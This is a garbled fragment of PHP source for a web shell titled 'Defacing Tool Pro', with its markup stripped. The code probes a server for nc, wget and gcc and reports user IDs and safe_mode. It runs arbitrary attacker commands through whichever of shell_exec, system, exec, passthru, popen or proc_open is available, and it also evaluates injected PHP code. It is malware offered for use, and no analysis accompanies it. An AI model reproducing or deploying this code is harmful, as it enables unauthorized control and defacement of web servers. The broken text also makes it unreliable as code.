xterm at /usr/X11R6/bin/xterm, "; if (@file_exists("/usr/bin/nc")) $pro2="nc at /usr/bin/nc, "; if (@file_exists("/usr/bin/wget")) $pro3="wget at /usr/bin/wget, "; if (@file_exists("/usr/bin/lynx")) $pro4="lynx at /usr/bin/lynx, "; if (@file_exists("/usr/bin/gcc")) $pro5="gcc at /usr/bin/gcc, "; if (@file_exists("/usr/bin/cc")) $pro6="cc at /usr/bin/cc ";*/ $safe = @ini_get('safe_mode'); if ($safe) $pro.="safe_mode: $safe, "; else $pro.="safe_mode: NO, "; $pro .= "PHP ".phpversion(); $pro .= ", click for more info"; $login=@posix_getuid(); $euid=@posix_geteuid(); $gid=@posix_getgid(); $ip=@gethostbyname($_SERVER['HTTP_HOST']); $uname = @posix_uname(); //Turns the 'ls' command more usefull, showing it as it looks in the shell if(strpos($cmd, 'ls --') !==false) $cmd = str_replace('ls --', 'ls -F --', $cmd); else if(strpos($cmd, 'ls -') !==false) $cmd = str_replace('ls -', 'ls -F', $cmd); else if(strpos($cmd, ';ls') !==false) $cmd = str_replace(';ls', ';ls -F', $cmd); else if(strpos($cmd, '; ls') !==false) $cmd = str_replace('; ls', ';ls -F', $cmd); else if($cmd=='ls') $cmd = "ls -F"; //If there are some '//' in the cmd, its now removed if(strpos($chdir, '//')!==false) $chdir = str_replace('//', '/', $chdir); ?>
//Style page - must be into the body tag include($style_addr); ?>[ Defacing Tool Pro v=$vers;?> ] ? by r3v3ng4ns - revengans@gmail.com | |||||||
| |||||||
array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"),)){ $process = @proc_open("$what",$descpec,$pipes); if (is_resource($process)) { fwrite($pipes[0], ""); fclose($pipes[0]); while(!feof($pipes[2])) { $erro_retorno = fgets($pipes[2], 4096); if(!empty($erro_retorno)) echo $erro_retorno;//isso mostra tds os erros } fclose($pipes[2]); while(!feof($pipes[1])) { echo fgets($pipes[1], 4096); } fclose($pipes[1]); $ok_p_fecha = @proc_close($process); }else echo "It seems that this PHP version ($pro7) doesn't support proc_open() function or its disabled by admin"; }else echo "It seems that this PHP version ($pro7) doesn't support proc_open() function or its disabled by admin"; } $funE="function_exists"; if($safe){$fe="safemode";$feshow=$fe;} elseif($funE('shell_exec')){$fe="shell";$feshow="shell_exec";} elseif($funE('passthru')){$fe="passthru";$feshow=$fe;} elseif($funE('system')){$fe="system";$feshow=$fe;} elseif($funE('exec')){$fe="execc";$feshow="exec";} elseif($funE('popen')){$fe="popenn";$feshow="popen";} elseif($funE('proc_open')){$fe="procc";$feshow="proc_open";} else {$fe="nofunction";$feshow=$fe;} if($fu!="0" or !empty($fu)){ if($fu==1){$fe="passthru";$feshow=$fe;} if($fu==2){$fe="system";$feshow=$fe;} if($fu==3){$fe="execc";$feshow="exec";} if($fu==4){$fe="popenn";$feshow="popen";} if($fu==5){$fe="shell";$feshow="shell_exec";} if($fu==6){$fe="procc";$feshow="proc_open";} $fu=0; } $fe("$cmd 2>&1"); $output=ob_get_contents();ob_end_clean(); ?> | |||||||
stdOut from ="\"$cmdShow\", using $feshow()";?> | |||||||
";
echo " "; echo " insert the php-code (don't use the <? and ?> tags) ";
echo " | |||||||
";
echo " results of eval of the file $evalfile ";
echo " "; if(!@include($evalfile)) echo "Error while including the file $evalfile"; echo " |